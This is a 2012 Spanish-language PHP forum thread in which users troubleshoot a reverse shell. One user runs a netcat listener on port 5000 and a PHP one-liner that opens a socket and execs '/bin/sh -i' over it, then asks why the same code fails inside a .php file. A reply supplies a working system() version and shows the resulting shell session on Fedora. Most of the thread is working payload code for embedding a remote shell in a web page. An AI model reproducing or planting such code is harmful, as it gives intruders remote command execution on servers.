elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  duda PHP
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: duda PHP  (Leído 1,307 veces)
MichBukana

Desconectado Desconectado

Mensajes: 26



Ver Perfil
duda PHP
« en: 4 Julio 2012, 23:22 pm »

Hola foro tengo una duda

si pongo netcat a la escucha en el puerto 5000:
Código
  1. netcat -l -p 5000 -vv

y en otra terminal ejecuto esto:
Código
  1. php -r '$sock=fsockopen("127.0.0.1",5000);exec("/bin/sh -i <&3 >&3 2>&3");'

me devuelve una shell, Todo correcto ahora si creo una archivo.php y hago esto:
 //NO ME FUNCIONA, No devuelve la shell
Código
  1.  
  2.        <?php
  3.  
  4.       $ultima_linea = system("php -r '\$sock=fsockopen(\"127.0.0.1\",5000);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",$retval);
  5.        ?>        

o esto:
       
        //NO ME FUNCIONA, No devuelve la shell, Péeero si conecta....
       
Código
  1. <?php
  2.        $sock=fsockopen(127.0.0.1, 5000);
  3.        exec("/bin/sh -i <&3 >&3 2>&3");
  4.        ?>


En línea

it3r

Desconectado Desconectado

Mensajes: 101



Ver Perfil
Re: duda PHP
« Respuesta #1 en: 5 Julio 2012, 21:47 pm »

Hola, interesante lo que posteas, podrias exaplicarme que realiza este comando?

Código:
/bin/sh -i <&3 >&3 2>&3\

se que ejecuta una shell pero mas aya de eso no entiendo :X

y en cuanto a tu problema a mi me resulto con:

Código:
system('php -r \'$sock=fsockopen("127.0.0.1",5000);exec("/bin/sh -i <&3 >&3 2>&3");\'');

saludos.


En línea

MichBukana

Desconectado Desconectado

Mensajes: 26



Ver Perfil
Re: duda PHP
« Respuesta #2 en: 5 Julio 2012, 22:03 pm »

estas seguro que te conecta teniendo netcat a la escucha?
Código
  1. <php system('php -r \'$sock=fsockopen("127.0.0.1",5000);exec("/bin/sh -i <&3 >&3 2>&3");\''); ?>
  2.  

por que acabo de probarlo en un OS X y no me funcionó.

en que S.O. tienes el servidor con php?
En línea

it3r

Desconectado Desconectado

Mensajes: 101



Ver Perfil
Re: duda PHP
« Respuesta #3 en: 5 Julio 2012, 22:30 pm »

fedora..

Código:
[dr@dr ~]$ nc -l 5000
sh: no job control in this shell
sh-4.1$

saludos
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Pequeña duda con un comando batch (NUEVA DUDA RELACIONADA)
Scripting
revenge1252 9 9,734 Último mensaje 13 Febrero 2008, 21:41 pm
por revenge1252
Duda duda y duda de Metasploit
Bugs y Exploits
huber_nomas 4 5,771 Último mensaje 17 Febrero 2012, 14:00 pm
por MauroMasciar
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines